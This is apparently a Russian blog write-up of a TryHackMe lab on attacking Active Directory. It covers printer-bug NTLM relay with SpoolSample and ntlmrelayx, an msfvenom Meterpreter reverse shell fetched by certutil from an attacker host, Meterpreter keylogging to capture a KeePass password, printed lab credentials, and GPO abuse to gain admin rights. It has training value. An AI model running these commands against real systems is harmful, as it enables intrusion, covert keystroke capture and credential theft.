Exploiting Active Directory, part 2
@cherepawwkaВсем привет!
Это вторая часть четвёртой статьи из цикла статей по атакам на домены Active Directory. В ней мы поговорим о relay-атаках, поднимем шелл на THMSERVER1 до оболочки meterpreter, а также "украдём" пользовательский ввод, благодаря чему расшифруем базу данных KeePass. В завершении мы также эксплуатируем неверные права к GPO, что позволит нам получить удаленный административный доступ серверу с непривилегированной УЗ из первой части статьи.
Первая и третья части статьи доступны по ссылке ниже:
Схема рассматриваемой сети приведена на рисунке ниже:
Продолжим!
Exploiting Automated Relays
В этой задаче мы рассмотрим некоторые Automated Relays. Попытки аутентификации постоянно "летают по сети", и, как показано в статье Breaching AD, если нам повезет, мы сможем перехватить некоторые из этих вызовов, чтобы получить доступ. Но что, если мы не любим ждать? Что, если мы сможем принудительно выполнить аутентификацию?
Хотя у нас уже есть привилегированный доступ к THMSERVER1, мы можем оказаться в ситуации, когда у нас не будет возможности эксплуатировать constrained delegation. Поэтому мы рассмотрим ещё одну отличную атаку, которую можно выполнить для получения привилегированного доступа к хостам.
Учетные записи компьютеров
Все хосты Windows имеют учетную запись компьютера. По сути, это учетная запись пользователя, связанная с машиной. Если кто-то не подделал учетную запись хоста, пароли этих учетных записей невозможно взломать. По умолчанию они имеют длину 120 символов (UTF16) и автоматически меняются каждые 30 дней.
В AD эти учетные записи компьютеров довольно часто используются в различных службах. Различные контроллеры домена используют учетные записи компьютеров для синхронизации обновлений и изменений в AD. Когда вы запрашиваете сертификат от имени хоста, на котором вы работаете, учетная запись компьютера этого хоста используется для аутентификации в службе сертификатов AD.
В AD есть исключительный случай, когда одна машина имеет права администратора на другой машине. По сути, в конфигурации AD административные разрешения на хост были предоставлены другому хосту. Опять же, это ожидаемо для контроллеров домена или кластера SQL, которые необходимо синхронизировать. Однако такой случай представляет собой очень интересный вектор атаки для принудительной аутентификации.
Сначала нам нужно определить случаи, когда учетная запись компьютера имеет административный доступ к другому компьютеру. Мы можем использовать для этого Bloodhound, но для этого придется написать несколько пользовательских запросов. Нажмём «Create Custom Query» на вкладке «Analysis» в Bloodhound:
Напишем следующий запрос:
MATCH p=(c1:Computer)-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(n:Computer) RETURN p
Этот запрос попытается найти отношения, в которых компьютер имеет связь "AdminTo" с другим компьютером:
Это очень интересно, так как показывает нам, что учетная запись компьютера THMSERVER2 имеет права администратора на компьютере THMSERVER1.
Баг принтера
Printer bug — это «функция» протокола MS-RPRN (удаленный протокол PrintSystem, PrintSystem Remote Protocol), которая позволяет пользователю домена удаленно заставить целевой хост, на котором запущена служба диспетчера очереди печати, пройти аутентификацию по произвольному IP-адресу. В последние годы было несколько таких ошибок: Spooler, PetitPotam, PrintNightmare. Microsoft утверждает, что единственная ошибка заключается в том, что некоторые из них вообще не требовали учетных данных AD, но эта проблема была решена с помощью исправлений безопасности.
Следовательно, чтобы эксплуатировать это, помимо прав администратора учетной записи компьютера нам также необходимо выполнить следующие четыре условия:
- Действительный набор учетных данных учетной записи AD;
- Сетевое подключение к целевой службе SMB;
- На целевом хосте должна быть запущена служба диспетчера очереди печати;
- На хостах не должно быть принудительного подписания SMB.
Условие 1 и 2 уже выполнены. Единственные два, которые нам нужны для обеспечения работы, — это условия 3 и 4.
Print Spooler Service
Нам нужно определить, работает ли служба диспетчера очереди печати. Поскольку у нас нет доступа к THMSERVER2, нам нужно выполнить запрос с точки зрения сети. В этом случае мы можем использовать запрос WMI из нашего сеанса SSH на THMWRK1, чтобы запросить текущее состояние службы:
PS C:\> GWMI Win32_Printer -Computer thmserver2.za.tryhackme.loc Location : Name : Microsoft XPS Document Writer PrinterState : 0 PrinterStatus : 3 ShareName : SystemName : THMSERVER2 Location : Name : Microsoft Print to PDF PrinterState : 0 PrinterStatus : 3 ShareName : SystemName : THMSERVER2
Выходные данные командлета подтверждают, что служба запущена. Если мы получим сообщение об отказе в доступе, возможно, мы можем попробовать выполнить следующую команду в PowerShell:
Get-PrinterPort -ComputerName thmserver2.za.tryhackme.loc
Тем не менее, Microsoft борется с просмотром этих портов с точки зрения сети. Если оба командлета возвращают ошибку, то, возможно, просто нужно просто довериться и предположить, что третье условие выполнено. В моём случае так и получилось:
Подписание SMB
Чтобы ретранслировать попытку принудительной аутентификации, подписание SMB не должно быть форсированным (применяться принудительно). Следует отметить, что существует разница между разрешенной подписью SMB и принудительной подписью SMB. Поскольку некоторые устаревшие системы не поддерживают подписывание SMB, по умолчанию конфигурация SMB такова, что подписание разрешено, но не принудительно, то есть оно будет использоваться только в том случае, если оно поддерживается. Поскольку мы будем размещать вредоносный SMB-сервер, мы можем убедиться, что наш сервер не поддерживает подпись, заставляя цель не подписывать попытку аутентификации SMB.
Чтобы убедиться, что THMSERVER1 и THMSERVER2 не используют принудительную подпись SMB, мы можем использовать Nmap на атакующем хосте:
nmap --script=smb2-security-mode -p445 thmserver1.za.tryhackme.loc thmserver2.za.tryhackme.loc
Мы видим, что подписывание SMB включено, но не принудительно. Это означает, что все условия выполнены, и мы можем начать атаку!
Эксплуатация Authentication Relays
Примечание: эта атака может быть нестабильной. Злоупотребление службой диспетчера очереди печати может привести к ее сбою, и не всегда даёт обратную связь.
Я буду использовать SpoolSample для эксплуатации Automated Relays. Это эксплойт, написанный на C#. Мы воспользуемся Spoolsample.exe, чтобы заставить THMSERVER2 аутентифицироваться на атакующей машине, а затем ntlmrelayx.py из пакета Impacket для ретрансляции попытки аутентификации THMSERVER1.
Первый шаг — настроить NTLM relay. На атакующей машине вводим следующую команду:
python3.9 /opt/impacket/examples/ntlmrelayx.py -smb2support -t smb://10.200.86.201 -debug
Если мы укажем имя хоста THMSERVER1 вместо IP, хост может запросить использование проверки подлинности Kerberos вместо NTLM. Следовательно, мы должны вместо этого указать IP. Теперь, когда ретранслятор слушает входящие соединения, мы можем заставить THMSERVER2 аутентифицироваться на нашей машине. В терминале SSH на THMWRK1 необходимо выполнить следующую команду:
C:\Tools\> SpoolSample.exe THMSERVER2.za.tryhackme.loc 10.50.83.51
Если все пошло хорошо, мы получим попытку аутентификации и ретрансляцию на THMSERVER1:
Мы получили хеш-дамп! Эти учетные данные теперь можно использовать для получения оболочки на хосте.
Также для примера я запустил NTLM-релэй с выполнением команды:
python3.9 /opt/impacket/examples/ntlmrelayx.py -smb2support -t smb://10.200.86.201 -c 'whoami /all' -debug
Exploiting AD Users
К этому моменту мы уже продвинулись довольно далеко. У нас есть полный административный доступ к рабочим станциям и серверам. По сути, мы можем выполнять пост-эксплуатацию практически на любой скомпрометированной системе (Tier 1 или Tier 2). Но мы не остановимся на достигнутом и поёдем дальше. Следующая задача может рассматриваться как пост-эксплуатация, но часто ее можно использовать, когда мы все еще выполняем эксплуатацию, чтобы достичь подходящей позиции для достижения цели. Настало время ориентироваться на пользователей AD .
Пользователи и поведение пользователей
К сожалению, пользователи часто являются самым слабым звеном в цепочке безопасности. Просто подумайте о слабых паролях и вредных привычках, таких как предоставление чрезмерно разрешительных разрешений. Было бы невежественно и неэффективно игнорировать эту поверхность атаки. В рамках этой задачи мы сосредоточимся на двух элементах:
- Управление учетными данными (Credential Management) — это то, как пользователи хранят свои учетные данные. В AD это очень важно, поскольку у пользователей может быть несколько наборов учетных данных, и запоминание их всех может быть проблемой;
- Кейлоггинг — часто во время эксплуатации нам нужно понять, как обычные пользователи взаимодействуют с системой. Вместе со снимками экрана, кейлоггинг может быть полезным инструментом для получения такого понимания с точки зрения злоумышленника.
Охота за учетными данными
Теперь, когда мы скомпрометировали THMSERVER1, нам, вероятно, следует поискать какую-нибудь полезную информацию. Можно взглянуть на пользовательские каталоги и посмотреть, есть ли какая-то полезная информация в каком-либо из них.
В рамках задачи наши усилия по перечислению приводят нас к файлу .kdbx. Google подтвердит, что этот файл действительно очень ценный! Мы можем использовать Meterpreter для поиска этого файла (о том, как я получил сеанс meterpreter, будет рассказано далее):
Файл, похоже, является базой данных учетных данных. Проблема, однако, в том, что база данных зашифрована паролем. Мы могли бы попытаться взломать пароль, но любой, кто использует базу данных учетных данных, обычно достаточно сообразителен, чтобы убедиться, что исходный пароль безопасен. Мы можем добиться большего успеха, наблюдая, как пользователь взаимодействует с этой базой данных.
SYSTEM иногда СЛИШКОМ привилегирована
Meterpreter имеет встроенный кейлоггер. Это будет полезно для извлечения нажатий клавиш пользователя. Однако мы не можем просто запустить этот кейлоггер и надеяться на лучшее, так как наша оболочка в настоящее время работает в контексте SYSTEM. SYSTEM не будет захватывать какие-либо нажатия клавиш, так что это нам не поможет. Чтобы получить правильные учетные данные пользователя, нам нужно убедиться, что наша оболочка работает в контексте этого пользователя.
К счастью, Meterpreter предоставляет нам функцию миграции, и, поскольку мы работаем как SYSTEM, мы должны иметь возможность мигрировать в любой процесс. У нас есть RCE на THMSERVER1, который можно использовать, чтобы получить оболочку Meterpreter. В качестве примера можно использовать следующую команду для создания полезной нагрузки Meterpreter PowerShell:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=exploitad LPORT=4848 -f psh -o shell.ps1
Затем используем msfconsole с аргументами для создания связанного хэндлера в msfconsole:
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST exploitad; set LPORT 4848; exploit"
Опубликовать созданный файл можно с помощью веб-сервера Python, а затем загрузить ее на машину, используя certutil.exe:
certutil.exe -urlcache -split -f http://10.50.83.51:8080/shell.ps1
После получения оболочки meterpreter, первый шаг — посмотреть, какие процессы на машине запущены от имени пользователя (верный способ увидеть это — проводник explorer.exe):
meterpreter\>ps | grep "explorer" Filtering on 'explorer' Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 3612 3592 explorer.exe x64 1 THMSERVER1\trevor.local C:\Windows\explorer.exe
Нам повезло. У пользователя есть активный сеанс на THMSERVER1. Перейдем к процессу этого пользователя:
meterpreter\>migrate 3612 [*] Migrating from 4408 to 3612... [*] Migration completed successfully.
Мы можем подтвердить, что теперь работаем в контексте нашей цели, используя команду getuid:
meterpreter\>getuid Server username: THMSERVER1\trevor.local
Теперь запускаем кейлоггер:
meterpreter\>keyscan_start
Остаётся набраться терпения и ждать. Если нам повезет, мы получим некоторые учетные данные. Подождите пару минут, а затем выполните следующее, чтобы вывести захваченные нажатия клавиш:
meterpreter\>keyscan_dump
Перехваченный пароль:
Imreallysurenoonewillguessmypassword
Это простой пример атаки на пользователей AD. После получения пароля скачаем базу данных KeePass на атакующую машину через команду download в meterpreter:
Получаем новую УЗ:
Username: svcServMan
Password: Sup3rStr0ngPass!@
Хотя закрепление будет обсуждаться только в следующей статье, на этом этапе атаки самое время создать локальную учетную запись на THMSERVER1 и предоставить ей права локального администратора, чтобы получить отличную точку опоры в сети:
Exploiting GPOs
Кейлогинг позволил нам расшифровать базу данных учетных данных пользователя, предоставив нам учетные данные (от учетной записи svcServMan), которые могут быть полезны для достижения целей эксплуатации AD. Нам нужно выполнить небольшое перечисление, чтобы выяснить, для чего эти учетные данные будут полезны. К счастью, у нас уже есть данные SharpHound, которые мы можем использовать. Используя функцию поиска в Bloodhound, давайте рассмотрим разрешения, которые есть у обнаруженной учетной записи:
Для этой учетной записи выделяется одно разрешение — владение объектом групповой политики (Group Policy Object, GPO). Кроме того, когда мы проведём небольшое расследование, окажется, что этот объект групповой политики применяется к машине THMSERVER2:
Это может предоставить нам идеальную возможность для дальнейшей эксплуатации AD!
Group Policy Object
Помните, мы обсуждали каталог SYSVOL в статье Enumerating AD? Это каталог, в котором хранятся объекты групповой политики AD для репликации на машины, присоединенные к домену. Объект групповой политики — это виртуальный набор параметров политики. Каждый объект групповой политики имеет уникальное имя, называемое GUID. Вот почему, если мы попытаемся прочитать содержимое каталога SYSVOL, это не будет иметь большого смысла.
Каждый компьютер Windows имеет Local Policy Configuration. Он содержит несколько примечательных конфигураций, таких как:
- Конфигурация приложений для таких служб, как брандмауэр, антивирус и блокировщик приложений;
- Local Group membership, например членство в группах администраторов или пользователей удаленного рабочего стола.
- Конфигурация запуска (в том числе сценарии, которые должны быть выполнены);
- Настройки безопасности и протоколов, такие как поддержка SMBv1.
Это всего лишь несколько примеров. Существует значительное количество параметров конфигурации, которые можно установить.
Управление групповой политикой
Если у нас есть только один компьютер с Windows, легко изменить конфигурацию локальной политики непосредственно на хосте. Однако в крупных организациях необходим механизм для централизованного развертывания конфигурации. Здесь в игру вступает Group Policy Management (GPM). Вместо того, чтобы определять политики локально на каждой машине, GPM позволяет нам определять политики непосредственно в структуре AD. По сути, мы можем определить объекты групповой политики для объектов AD, таких как определенная OU или группа.
Компьютеры, присоединенные к домену, будут периодически извлекать все политики из SYSVOL и применять соответствующие. По умолчанию политики реплицируются каждые 15 минут через приложение gpupdate. Однако мы также можем вручную запустить это приложение из командной строки, чтобы мгновенно применить политики.
Эксплуатация GPOs
Несмотря на то, что существует несколько способов эксплуатации объектов групповой политики, мы будем придерживаться простого решения, заключающегося в добавлении контролируемой нами учетной записи AD как в локальные группы администраторов, так и в локальные группы пользователей удаленного рабочего стола. Это даст нам административные привилегии на THMSERVER2 и возможность входа по протоколу RDP на хосты. Мы также могли бы использовать открытый порт SSH, но не многие организации перешли на SSH в Windows-средах. Следовательно, доступ по протоколу RDP или традиционные методы бокового перемещения, такие как SMBExec, более безопасны.
Чтобы изменить объект групповой политики, нам необходимо получить доступ к управлению групповыми политиками в качестве пользователя AD с соответствующими разрешениями. Мы могли бы подключиться к THMSERVER1 в качестве пользователя, но это может выкинуть пользователя из его активного сеанса, что вызовет его подозрение. Вместо этого мы подключимся к THMWRK1 с помощью RDP либо с нашей обычной учетной записью, либо с нашей учетной записью Tier 2 администратора, введем учетные данные пользователя AD в память с помощью команды runas и откроем MMC для изменения объекта групповой политики. Подробно о runas мы говорили в статье Enumerating AD, но ниже указана необходимая команда, которую следует выполнить из окна административной командной строки:
C:\>runas /netonly /user:za.tryhackme.loc\svcServMan cmd.exe
Чтобы убедиться, что мы предоставили правильные учетные данные, можно выполнить команду dir \\za.tryhackme.loc\sysvol.
В появившемся окне командной строки мы можем запустить консоль управления Microsoft:
C:\>mmc
Теперь мы хотим добавить оснастку управления групповыми политиками:
- Нажимаем File -> Add/Remove Snap-in;
- Выбираем оснастку Group Policy Management и нажимаем Add;
- Нажимаем ОК.
Мы видим объекты групповой политики для домена za.tryhackme.com:
Теперь мы можем перейти к объекту групповой политики, на изменение которого у нашего пользователя есть разрешение (Servers > Management Servers> Management Server Pushes).
Мы можем щелкнуть правой кнопкой мыши объект групповой политики и выбрать «Edit». Откроется новое окно редактора управления групповыми политиками:
Для того, чтобы добавить нашу учетную запись в локальные группы, нам необходимо выполнить следующие шаги:
- Развернуть Computer Configuration;
- Развернуть Policies;
- Развернуть Windows Settings;
- Развернуть Security Settings;
- Щелкнуть правой кнопкой мыши Restricted Groups и выбрать Add Group;
- Нажать Browse, ввести IT Support и нажать Check Names;
- Дважды нажать OK.
Первый фильтр не используется. Для второго фильтра мы добавим группы «Administrators» и «Remote Desktop Users». В результате это должно выглядеть примерно так:
После того, как конфигурация была выполнена, мы можем нажать «Apply» и «ОК». Теперь все, что нам нужно сделать, это подождать не более 15 минут, пока объект групповой политики будет применен. После этого наша первоначальная учетная запись, которую мы сделали членом группы IT Support, теперь будет иметь административные права и разрешения на подключение по RDP на THMSERVER2.
Примечание: на этом этапе я сменил первоначальную УЗ на za.tryhackme.loc\\louis.thornton из-за ошибок при входе под прошлой УЗ (вероятно, ошибки связаны с действиями других участников).
Для ускорения процесса я зашел по SSH на THMSERVER2 и применил групповые политики:
До этого попытки подключения выглядели так:
После форсирования:
На этом вторая часть статьи по эксплуатации AD подошла к концу. На этом этапе мы смогли закрепиться на хосте THMSERVER2, который открывает новые возможности для дальнейшей атаки. Третья и заключительная часть статьи доступна по ссылке ниже:
